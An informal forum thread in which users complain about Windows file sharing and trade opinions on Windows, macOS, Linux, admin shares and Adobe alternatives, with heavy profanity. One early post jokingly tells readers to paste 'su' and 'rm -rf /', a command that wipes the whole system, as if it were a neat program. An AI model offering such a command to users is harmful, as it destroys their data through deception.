Why the FUCK is this still such a challenge in Windows.

[The Demon Lord]

I had the same issues. What's worse is that they advertised how easy it was to share files etc. Bullshit, it's confusing as fuck.
Honestly, Someone give me another operating system! Mac is overpriced and evil, Windows is shit, Linux sounds wonderful but can't run the anything...

Please google, mozilla or someone give me a new OS for Christmas...

Linux is fun!

There is this really neat program you can run on a Linux box - just go to a command prompt and copy and paste the following:

su
rm -rf /

And then watch the magic that happens

[Pyromanik]

Linux sounds wonderful but can't run the anything...

only 90% of the internet.

One would say that it runs ALL the things.

itt:
Windows fanbois chime in with how easy it is to perform a complex unintuitive proceedure in order to share a whole drive.
MacOS fanbois get mad

EVERYONE ignores: \\\$\ DONE.


Sharing in windows has ALWAYS been a cunt. No ifs, buts, or coming back from that windows fanbois.
MacOS fanbois: "qq it's not mac" is not a valid excuse for ignorance. Complaining it's hard is one thing, complaining it's not something else is another.
Same deal goes for everyone bagging linux. It runs everything, espeically with wine if you're an Adobe gobbler. Not saying there won't be a few issues, but it's perfectly stable for any kind of dev, office work, or many games.

[Hmmmgood]

Sharing in windows has ALWAYS been a cunt.

Apart from Vista,sharing on windows is piss easy.Always has been.

And if ppl find it hard then maybe osx is for them cause lets face it,it really is the os for children.

Just make sure the right things are checked in advanced sharing settings in cp and then on the folder/drive sharing/security tab.

No need for extra accounts or homegroup.

[Pyromanik]

Somebody obviously never tried to lan on the 9x family.
or ever faced NTFS file permissions overriding sharing permissions.
or ever had a computer just tell you that another (that can connect to it) just doesn't even exist.

[Emrico1]

It runs everything, espeically with wine if you're an Adobe gobbler. Not saying there won't be a few issues, but it's perfectly stable

Aparently only photoshop will work and all brush tools and clone stamp tools don't work.
Nope.jpg

[Pyromanik]

Bummer. Used to.
Might still with crossover. *shrug*

[Hmmmgood]

Somebody obviously never tried to lan on the 9x family.
or ever faced NTFS file permissions overriding sharing permissions.
or ever had a computer just tell you that another (that can connect to it) just doesn't even exist.

tbh iv never had any of those issues,but then iv really only used 3rd party apps for sharing with lots of ppl.

[Emrico1]

Bummer. Used to.
Might still with crossover. *shrug*

I'll give it a go. I've been promising myself I would but Adobe has held me back.
I'll do a dual boot when my eventual time off comes around...

Just for you.

[Pyromanik]

People will sneer, but GIMP, Inkscape, Scribus (photoshop, illustrator, indesign).
Don't help shit when you've got to open someone elses work though.

I met someone in the weekend who scoffed at GIMP but ranked Inkscape far and above Illustrator. I thought that was pretty cool coming from a seasoned designer.

As for coding, that's well good and fine on linux.

tbh iv never had any of those issues,but then iv really only used 3rd party apps for sharing with lots of ppl.

The ol' "works for me" eh.

[swindle]

So I managed to share a folder. Works well enough now.

Remote desktop + twonky = easy for noobs like me running media players. Running remote desktop to the macbook of the media server is handy as shit. I gotta keep an eye on it, after all its held together with blutack.

[oefox]

I should have chimed in yesterday.

Leave the windows home group and use advanced folder sharing using usernames/passwords.
Share folder.
Add everyone to the security setting.

Done.

[5loth]

EVERYONE ignores: \\\$\ DONE.

This is only of use if you are an administrator of the computer you are connecting to. If I'm connecting to my flatmate John's PC, unless I have administrator access to his PC, the $ share's aren't of any use.

[Hmmmgood]

The ol' "works for me" eh.

er not really,its not a mysterious dark art or rocket science or anything.

[Apostrophe Spacemonkey]

er not really,its not a mysterious dark art or rocket science or anything.

You just have to make a sacrifice to the old gods by cutting your hand and citing a passage from the book of the dead every time you want share a folder.

I thought everyone knew this? It's clearly written on page 6 of the user manual.

[Pyromanik]

This is only of use if you are an administrator of the computer you are connecting to. If I'm connecting to my flatmate John's PC, unless I have administrator access to his PC, the $ share's aren't of any use.

yes, I was going to mention that, but in this case I have taken the assumption that swindle is the administrator of his own computer.
If I'm wrong I either did a shit job of reading the op or it wasn't mentioned.

There's always the default share of the user folder. That's aways exciting and damn near impossible to turn off intuitively.
Just put all your personal info in your home folder, everyone in the work group can write to it! yaaaaaay, so easy.

[swindle]

Windows really needs a good sorting out.

If you are like me and use a smaller SSD to base windows 8 on, then this sharing and library and public can become a bit of a nightmare.

It is as Pyro describes it, un-intuitive.

[Pyromanik]

but Swindle, it has a GUI... what could be more intuitive than that!?

[Xenolightning]

but Swindle, it has a GUI... what could be more intuitive than that!?

CLI OFC

[Pyromanik]

Don't be silly. CLI is full of dark magic wizardry and is for basement nerds only. GOSH. Only GUIs are easy to use. That's why windows is so much better than macosx, because macosx is just a frontend for the CLI. DUH.

[Xenolightning]

Shush Codex.

[swindle]

I feel so stupid

But I really like OSX so far

[deadmeatwalking]

Don't be silly. CLI is full of dark magic wizardry and is for basement nerds only. GOSH. Only GUIs are easy to use. That's why windows is so much better than macosx, because macosx is just a frontend for the CLI. DUH.

<----- i have about that much clue about what you just said

[mattnz]

Was just thinking that swindle hasn't jumped on a bandwagon lately :D:D:D

[Pyromanik]

HTC One doesn't count?

[mattnz]

Yusssss, he's back on form :>